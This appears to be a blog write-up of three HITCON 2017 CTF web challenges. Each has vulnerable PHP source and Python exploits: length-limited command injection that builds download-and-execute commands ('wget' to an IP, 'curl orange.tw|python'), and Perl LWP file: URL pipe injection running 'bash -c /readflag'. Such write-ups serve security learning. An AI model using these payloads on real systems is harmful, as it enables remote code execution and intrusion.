zzm

HITCON2017 writeup(web)
国际赛还是水准比较高的,题目都很有通用性一、BabyFirst Revenge源码:<?php $s...
扫描右侧二维码阅读全文
07
2017/11

HITCON2017 writeup(web)

国际赛还是水准比较高的,题目都很有通用性

一、BabyFirst Revenge

源码:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

五个字符的命令执行,这个还是比较简单的,附上一种exp:

import requests

def exec_sub(cmd):
    resp = requests.post("http://52.199.204.34/?cmd="+cmd).text

def exec(cmd):
    for x in cmd:
        print(x)
        if cmd[-1]==x:
            exec_sub(">%s" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s" % x)          
        elif x==" ":
            exec_sub(">\\ \\")
            exec_sub("ls>>\\")
            exec_sub("rm ?\\")
        else:
            exec_sub(">%s\\" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s\\" % x)
    exec_sub("sh \\")

exec("wget 1759614952")

将命令分隔成单个字符,不断新建文件、写入、删除,用“”连接起来即可,最后sh执行文件。

二、BabyFirst Revenge v2

源码:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

v2变成四个字符了,这时就不能用rm了,保持顺序拼接命令就比较困难了,附上官方的exp

import requests
from urllib import quote

payload = [
    # 将 "g> ht- sl" 写到文件 "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
    '>rev',
    '*v>x',

    # 生成命令 "curl orange.tw|python;"
    '>\;\\', 
    '>on\\', 
    '>th\\', 
    '>py\\', 
    '>\|\\', 
    '>tw\\',
    '>e.\\', 
    '>ng\\', 
    '>ra\\', 
    '>o\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # getshell
    'sh x', 
    'sh g', 
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
    r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )

这里用"*>v"的时候,会将目录下文件的名字连接起来,作为命令重定向到文件"v"

三、SSRFme?

源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

这题主要是利用了perl的open函数执行命令的特性,open函数的第二个参数可以将文件流用管道重定向到其它地方。比如open(FD,"|id")即可执行id命令。
perl的LWP对于file协议的处理就调用了open函数,查看file.pm文件如下:

...
opendir(D, $path) or
      return HTTP::Response->new( &HTTP::Status::RC_INTERNAL_SERVER_ERROR,
            "Cannot read directory '$path': $!");
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
            "Cannot read file '$path': $!");
binmode(F);
$response =  $self->collect($arg, $response, sub {
    my $content = "";
    my $bytes = sysread(F, $content, $size);
    return \$content if $bytes > 0;
    return \ "";
});
close(F);
}
...

只要访问file://|whoami就能执行命令了,但前提是$path存在,所以要先建一个以要执行的命令为文件名的文件。最终的exp如下:

import requests

target = "http://13.115.136.15"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/c9d6ffb50b54d12fc4dfe6a4d9676fd8/1").text)
Last modification:August 24th, 2018 at 10:34 pm

Leave a Comment